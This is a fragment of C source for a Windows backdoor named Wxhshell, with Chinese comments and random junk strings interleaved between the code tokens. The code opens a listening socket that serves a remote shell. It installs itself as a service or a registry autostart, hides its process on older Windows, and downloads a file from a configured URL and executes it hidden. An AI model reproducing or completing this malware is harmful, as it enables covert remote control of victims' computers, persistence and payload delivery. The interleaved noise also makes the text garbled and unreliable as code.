m)c. y{2\T CloseHandle(hProcess); w:x[kA w+a5/i@ if(strstr(procName,"services")) return 1; // 以服务启动 zL9:e7o PbFbihg return 0; // 注册表启动 )a9C3-8Y' } POf xN. t#w,G // 主模块 @U@O#+d'ZR int StartWxhshell(LPSTR lpCmdLine) KNR7Igw?} { bz.sWBugR SOCKET wsl; k{U[ U1j BOOL val=TRUE; )Br#R:# int port=0; |(CgX6 l3 struct sockaddr_in door; >=;hnLu 8fktk?| if(wscfg.ws_autoins) Install(); q/ (h{cq Y*IKPnPot2 port=atoi(lpCmdLine); ,aIkiT 'S*]JZ1 if(port<=0) port=wscfg.ws_port; l gZ9*@d *X^C+F WSADATA data; A5Q4wy` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ao#bREm {
SDnVV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C_yNSD setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oDayfyy4y) door.sin_family = AF_INET; |9X2AS Qu door.sin_addr.s_addr = inet_addr("127.0.0.1"); `?SC.KT door.sin_port = htons(port); DuLl"w\_@ N1sdWXG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^# 4e_&4 closesocket(wsl); uc}F|O return 1; #g'j0N } ]c
bXI R7O<>kt if(listen(wsl,2) == INVALID_SOCKET) { ^ E.mG> closesocket(wsl); e X6o7a return 1; 5.D0 1?k } Pq@-`sw Wxhshell(wsl); sL;;'S& WSACleanup(); <[ u(il GVfRy@7n return 0; #Nad1C/] VTY # { } 1.TIUH1 &Pc.[k // 以NT服务方式启动 Z4E6J'B8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yq4nmr4 { cI/}rZ+ DWORD status = 0; b"nkF\P@Fj DWORD specificError = 0xfffffff; f1sp6S0V\ $4qM\3x0, serviceStatus.dwServiceType = SERVICE_WIN32; reM~q-M~o@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; OR37 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V]m}xZ'?^ serviceStatus.dwWin32ExitCode = 0; s_^N=3Si
serviceStatus.dwServiceSpecificExitCode = 0; %@|)&][hO serviceStatus.dwCheckPoint = 0; kUfb B#.5L serviceStatus.dwWaitHint = 0; %~kE,^ YY(_g|;?8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9c[bhGD? if (hServiceStatusHandle==0) return; 6']G HDK k'+y status = GetLastError(); d_ x
jW if (status!=NO_ERROR) MZxU)QW1 { 1$`|$V1 serviceStatus.dwCurrentState = SERVICE_STOPPED; L\5:od[EP serviceStatus.dwCheckPoint = 0; ,Q.[Lc=w serviceStatus.dwWaitHint = 0; TjI&8#AWBA serviceStatus.dwWin32ExitCode = status; *'tGi_2?( serviceStatus.dwServiceSpecificExitCode = specificError; S9ic4rcd SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBS_N/ return; _+H $Pa}? } YB!f =_8 W\mgM2p serviceStatus.dwCurrentState = SERVICE_RUNNING; 0)7v_|z serviceStatus.dwCheckPoint = 0; 4mtO"'| serviceStatus.dwWaitHint = 0; ?$uEN_1O\@ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
rixVIfVF } *YGj^+ R(,m! // 处理NT服务事件,比如:启动、停止 4'`H H VOID WINAPI NTServiceHandler(DWORD fdwControl) (`4&Y- { W~a|AU8]C switch(fdwControl) WFhppi { 9W_mSum case SERVICE_CONTROL_STOP: O(v>\MV serviceStatus.dwWin32ExitCode = 0; B9$pG serviceStatus.dwCurrentState = SERVICE_STOPPED; [_(uz,' serviceStatus.dwCheckPoint = 0; BUV4L5( serviceStatus.dwWaitHint = 0; />pAZa { k\9kOZW SetServiceStatus(hServiceStatusHandle, &serviceStatus); QDVSFGwr } 2v;&`04V< return; Bj9FSKiH case SERVICE_CONTROL_PAUSE: _HjB'XNr( serviceStatus.dwCurrentState = SERVICE_PAUSED; SuNc&e#( break; _MuzD&^qE case SERVICE_CONTROL_CONTINUE: uXvE>VpJG serviceStatus.dwCurrentState = SERVICE_RUNNING; GN=8;Kq% break; J!G92A~*] case SERVICE_CONTROL_INTERROGATE: B&<5VjZ\ break; MgN;[4|[h }; z`I%3U5( SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[i.)8$7 } G2 V$8lh ' o*\N% // 标准应用程序主函数 q/Ji}NGm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QMmZvz\^ { s{{8!Q 'tcve2Tt // 获取操作系统版本 zAvI f OsIsNt=GetOsVer(); A f!`7l- GetModuleFileName(NULL,ExeFile,MAX_PATH); E:+r.r"Y 6@3v+Vf' // 从命令行安装 !!8;ZcL}Z if(strpbrk(lpCmdLine,"iI")) Install(); #$L/pRC O1\25D // 下载执行文件 |1/8m/2Af. if(wscfg.ws_downexe) { 0NU3%
4? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qm'@o -[ WinExec(wscfg.ws_filenam,SW_HIDE); 9}Za_ZgG
} @g]+$Yj \2#K { if(!OsIsNt) { 6}0_o[23 // 如果时win9x,隐藏进程并且设置为注册表启动 ( ]0F3@k#s HideProc(); vb]uO ' l StartWxhshell(lpCmdLine); W(?J,8> } 2V$Jn8v,`{ else lUp%1x+ if(StartFromService()) vjh'<5w9Wi // 以服务方式启动 vpOGyvI StartServiceCtrlDispatcher(DispatchTable); ^k{/Yl else 4:733Q3oK // 普通方式启动 m=/HUt3(&0 StartWxhshell(lpCmdLine); p_e x (n_.bSI return 0; $uUyp8F }
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